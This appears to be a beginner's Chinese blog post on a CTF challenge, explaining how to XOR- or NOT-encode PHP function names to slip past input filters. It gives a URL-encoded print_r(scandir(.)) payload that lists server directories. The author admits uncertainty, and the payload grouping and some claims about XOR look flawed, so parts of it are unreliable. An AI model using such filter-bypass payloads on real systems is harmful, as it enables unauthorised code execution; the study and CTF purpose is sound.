关于使用异或绕过PHP过滤的方法

学前基础


异或:只能够是数字和数字之间的异或,原理是转换为二进制进行异或
URL编码使用的也是十六进制的编码,十六进制异或编码的时候用的都是0xff,也就是十进制的255
过程简述:数据的十进制——转换十六进制——进行0xff异或(回到了十进制)——转换为十六进制——再次进行0xff异或得到数据本身
                字符——十进制——十六进制进行异或——变回十进制——转到十六进制进行异或——变回十进制——转为字符回到原本字符

实例(_GET)                #此处使用python演示
_: 计算前字符
>>> ord('_') 字符转换成十进制
95 十进制结果
>>> hex(95) 转换为十六进制
'0x5f' 十六进制结果
>>> 0x5f^0xff 十六进制和0xff进行异或计算
160 计算后结果(变回了十进制)
>>> hex(160) 转换为十六进制
'0xa0' 十六进制结果
>>> 0xa0^0xff 十六进制和0xff进行异或计算
95 计算后结果(变回十进制)
>>> str(95) 十进制转换成字符
'_' 计算后字符

实际在URL上切实使用的是URL编码的十六进制
URL编码的十六进制与正常十六进制后两位相同,前两位变为百分号
例如:0x2d == %2d 0x6c == %6c 0x4d == %4d
数字无法进行十进制转换


取反:源数据变成二进制,然后每一位取反,即1变0,0变1.

绕 过


如print_r(scandir(.))
print_r的十六进制编码为
%8f%8d%96%91%8b%a0%8d
进行异或计算变为源数据的URL十六进制编码
(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
scandir的十六进制编码为
%8c%9c%9e%91%9b%96%8d
进行异或计算变为源数据的URL十六进制编码
(%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)
.的十六进制编码为
%d1
进行异或计算变为源数据的URL十六进制编码
(%d1)^(%ff)
在URL上执行时,如下所示(同一颜色括号表示一组,同一颜色数据表示一组)
((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)((%8c%9c%9e%91%9b%96%8d)^

(%ff%ff%ff%ff%ff%ff%ff)((%d1)^(%ff))))                 #此处与上文相接
最后效果显示为
(print_r(scandir(.)))

因为自己也是刚学,搞了一个下午,不确保正确性,望有大佬看完后指出问题

学的时候观看的大佬文章连接:BUUCTF:[ISITDTU 2019]EasyPHP --- rce 超级异或,,,吐了,,,字符之间异或, 成型的异或payload!!!_Zero_Adam的博客-CSDN博客

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值